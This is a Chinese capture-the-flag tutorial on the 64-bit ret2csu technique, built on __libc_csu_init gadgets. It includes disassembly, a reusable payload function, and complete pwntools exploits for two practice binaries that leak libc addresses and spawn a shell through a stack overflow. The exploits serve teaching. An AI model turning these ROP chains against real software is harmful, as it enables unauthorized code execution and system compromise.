ret2csu
原理
- 在64位程序中,函数的前6个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。这时候,我们可以利用x64下的__libc_csu_init中的gadgets,如例二情况。
- 这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定会存在。
下面是我在IDA摘出来的__libc_csu_init函数的汇编指令
.text:00000000004011B0 ; void _libc_csu_init(void)
.text:00000000004011B0 public __libc_csu_init
.text:00000000004011B0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004011B0 ; __unwind {
.text:00000000004011B0 push r15
.text:00000000004011B2 mov r15, rdx
.text:00000000004011B5 push r14
.text:00000000004011B7 mov r14, rsi
.text:00000000004011BA push r13
.text:00000000004011BC mov r13d, edi
.text:00000000004011BF push r12
.text:00000000004011C1 lea r12, __frame_dummy_init_array_entry
.text:00000000004011C8 push rbp
.text:00000000004011C9 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004011D0 push rbx
.text:00000000004011D1 sub rbp, r12
.text:00000000004011D4 sub rsp, 8
.text:00000000004011D8 call _init_proc
.text:00000000004011DD sar rbp, 3
.text:00000000004011E1 jz short loc_4011FE
.text:00000000004011E3 xor ebx, ebx
.text:00000000004011E5 nop dword ptr [rax]
.text:00000000004011E8
.text:00000000004011E8 loc_4011E8: ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011E8 mov rdx, r15
.text:00000000004011EB mov rsi, r14
.text:00000000004011EE mov edi, r13d
.text:00000000004011F1 call qword ptr [r12+rbx*8]
.text:00000000004011F5 add rbx, 1
.text:00000000004011F9 cmp rbp, rbx
.text:00000000004011FC jnz short loc_4011E8
.text:00000000004011FE
.text:00000000004011FE loc_4011FE: ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011FE add rsp, 8
.text:0000000000401202 pop rbx
.text:0000000000401203 pop rbp
.text:0000000000401204 pop r12
.text:0000000000401206 pop r13
.text:0000000000401208 pop r14
.text:000000000040120A pop r15
.text:000000000040120C retn
.text:000000000040120C ; } // starts at 4011B0
.text:000000000040120C __libc_csu_init endp
分析
gadgets1
.text:00000000004011FE loc_4011FE: ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011FE add rsp, 8
.text:0000000000401202 pop rbx
.text:0000000000401203 pop rbp
.text:0000000000401204 pop r12
.text:0000000000401206 pop r13
.text:0000000000401208 pop r14
.text:000000000040120A pop r15
.text:000000000040120C retn
.text:000000000040120C ; } // starts at 4011B0
- 这段代码可以将你构造的栈中的值一个一个顺序存到rbx,rbp,r12,r13,r14,r15寄存器中。
- 需要注意的是,可能随着环境的不同,r13,r14,r15的顺序也会有所改变。
gadgets2
.text:00000000004011E8 loc_4011E8: ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011E8 mov rdx, r15
.text:00000000004011EB mov rsi, r14
.text:00000000004011EE mov edi, r13d
.text:00000000004011F1 call qword ptr [r12+rbx*8]
.text:00000000004011F5 add rbx, 1
.text:00000000004011F9 cmp rbp, rbx
.text:00000000004011FC jnz short loc_4011E8
- 通过gadgets1中最后的ret,使程序流程走gadget2,这样可以将存储在r15的值赋给rdx,存储在r14的值赋给rsi,存储在r13的值赋给edi,此时rdi的高32位寄存器中值为0,所以我们也可以控制rdi的值。
- call指令跳转到r12寄存器存储的位置处(在gadgets1中置rbx=0)
- rbx+1,判断是否与rbp相等,否则重新执行gadgets2,这里我们为了不重新执行,将rbp置为1.
- 这段gadgets2走完之后,顺序往下走汇编码,又会走到gadgets1,所以我们在栈中需要设7*8=56个padding字符,使栈不会空,然后设置特定的ret地址。
- 重新走gadgets1时,会把rbx,rbp,r12,r13,r14,r15六个寄存器重新设值,但这六个寄存器对我们来说已经没用了,所以可以为任意的padding。我们的目的仅仅是要控制rdi,rsi,rdx三个寄存器来存放函数的参数。
- 需要注意的是,rdi为第一个参数的存放寄存器,rsi为第二个参数,rdx为第三个参数。
通用payload
def ret_csu(r12, r13, r14, r15, last):
payload = offset * 'a'
#构造栈溢出的padding
payload += p64(first_csu) + 'a' * 8
#gadgets1的地址
payload += p64(0) + p64(1)
#rbx=0, rbp=1
payload += p64(r12)
#call调用的地址
payload += p64(r13) + p64(r14) + p64(r15)
#三个参数的寄存器
payload += p64(second_csu)
#gadgets2的地址
payload += 'a' * 56
#pop出的padding
payload += p64(last)
#函数最后的返回地址
return payload
- call函数为跳转到某地址内所保存的地址,应该使用got表中的地址
- ret指令必须跳转到一段有效的汇编指令,所以应为plt表中的地址
例题一
下载链接提取码:ne7q
//不知道什么时候失效
checksec+IDA
[*] '/mnt/hgfs/ubuntu_share/pwn/interrop/easy_csu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-20h]
vul(0LL, 0LL, 0);
read(0, &buf, 0x100uLL);
return 0;
}
__int64 __fastcall vul(__int64 a1, __int64 a2, int a3)
{
if ( a3 == 3 )
puts("Success!");
else
puts("Try or Retry your payload");
return 0LL;
}
- 可以看到此题只需要使传递进vul函数的第三个参数值为3,即可。
分析+Exp
- 不能使用call直接跳转到vul函数,因为got表中没有vul函数,所以要考虑绕过call这个调用,使用ret返回到vul的真实地址。
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/interrop# objdump -R easy_csu
easy_csu: file format elf64-x86-64
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000403ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000403ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000404018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000404020 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5
- 这里通过init_array_start函数的指针来跳过call。
init_array_start函数是ELF程序的一个初始化函数,运行它不会对栈空间造成影响,可以说是用于跳过call指令的最佳选择 - 下面命令可以查看程序的符号表
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/interrop# readelf -Ws easy_csu | grep "init"
33: 0000000000403e10 0 OBJECT LOCAL DEFAULT 18 __frame_dummy_init_array_entry
38: 0000000000403e18 0 NOTYPE LOCAL DEFAULT 18 __init_array_end
40: 0000000000403e10 0 NOTYPE LOCAL DEFAULT 18 __init_array_start
54: 00000000004011b0 93 FUNC GLOBAL DEFAULT 13 __libc_csu_init
62: 0000000000401000 0 FUNC GLOBAL HIDDEN 11 _init
from pwn import *
sh = process("easy_csu")
context.log_level = "DEBUG"
gadget1 = 0x00000000004011FE
gadget2 = 0x00000000004011E8
init_start = 0x0000000000403e10
vul_addr = 0x0000000000401132
payload = (0x20 + 8) * 'a'
payload += p64(gadget1)
payload += 'a' * 8
payload += p64(0)
payload += p64(1)
payload += p64(init_start)
payload += p64(1) + p64(2) + p64(3)
payload += p64(gadget2)
payload += 'a' * 56
payload += p64(vul_addr)
sh.recv()
sh.sendline(payload)
sh.interactive()
此时的栈结构
可以拿到shell的Exp
from pwn import *
sh = process("easy_csu")
context.log_level = "DEBUG"
gadget1 = 0x00000000004011FE
gadget2 = 0x00000000004011E8
put_addr = 0x0000000000404018
libc_addr = 0x0000000000403ff0
start_addr = 0x0000000000401050
payload = (0x20 + 8) * 'a'
payload += p64(gadget1)
payload += 'a' * 8
payload += p64(0)
payload += p64(1)
payload += p64(put_addr)
payload += p64(libc_addr) + p64(libc_addr) + p64(libc_addr)
payload += p64(gadget2)
payload += 'a' * 56
payload += p64(start_addr)
sh.recv()
sh.sendline(payload)
real_addr = u64(sh.recv(8))
real_addr -= 0x540a000000000000
print hex(real_addr)
addr_base = real_addr - 0x020740
system_addr = addr_base + 0x045390
binsh_addr = addr_base + 0x18cd57
pop_addr = 0x000000000040120b
sh.recv()
payload = (0x20 + 8) * 'a' + p64(pop_addr) + p64(binsh_addr) + p64(system_addr)
sh.sendline(payload)
sh.interactive()
例题二
checksec+IDA分析
[*] '/mnt/hgfs/ubuntu_share/pwn/interrop/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
查找有用的gadgets
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/interrop# ROPgadget --binary level5 --only "pop|ret"
Gadgets information
============================================================
0x0000000000400512 : pop rbp ; ret
0x0000000000400511 : pop rbx ; pop rbp ; ret
0x0000000000400417 : ret
0x0000000000400442 : ret 0x200b
Unique gadgets found: 4
- rdi,rsi,rdx三个有用的参数寄存器完全没有找到能控制的gadgets
- 这时我们就可以使用ret_csu_init这种方法
Exp
from pwn import *
context.log_level = 'DEBUG'
sh = process('level5')
offset = 128 + 8
first_csu = 0x0000000000400606
second_csu = 0x00000000004005F0
def ret_csu(r12, r13, r14, r15, last):
payload = offset * 'a'
payload += p64(first_csu) + 'a' * 8
payload += p64(0) + p64(1)
payload += p64(r12)
payload += p64(r13) + p64(r14) + p64(r15)
payload += p64(second_csu)
payload += 'a' * 56
payload += p64(last)
return payload
write_got = 0x0000000000601000
start_addr = 0x0000000000400460
sh.recv()
payload = ret_csu(write_got, 1, write_got, 8, start_addr)
sh.sendline(payload)
real_write = u64(sh.recv(8))
print "real_write_addr:" + hex(real_write)
addr_base = real_write - 0x0f72b0
system_addr = addr_base + 0x045390
binsh_addr = addr_base + 0x18cd57
read_got = 0x0000000000601008
bss_addr = 0x0000000000601028
payload = ret_csu(read_got, 0, bss_addr, 18, start_addr)
sh.recvuntil("Hello, World\n")
sh.sendline(payload)
sh.sendline(p64(system_addr) + "/bin/sh\x00")
sh.recvuntil("Hello, World\n")
payload = ret_csu(bss_addr, bss_addr+8, 0, 0, start_addr)
sh.sendline(payload)
sh.interactive()
- 构造三次栈溢出
- 第一次使用write函数泄露出write函数的真实地址
- 第二次使用read函数向bss段写入计算得出的system地址以及/bin/sh字符串
- 第三次调用system函数,拿到shell
- 需要注意的是,无法通过libc中/bin/sh字符串的地址拿到shell,可能我本机环境变量存在问题,会报如下错误。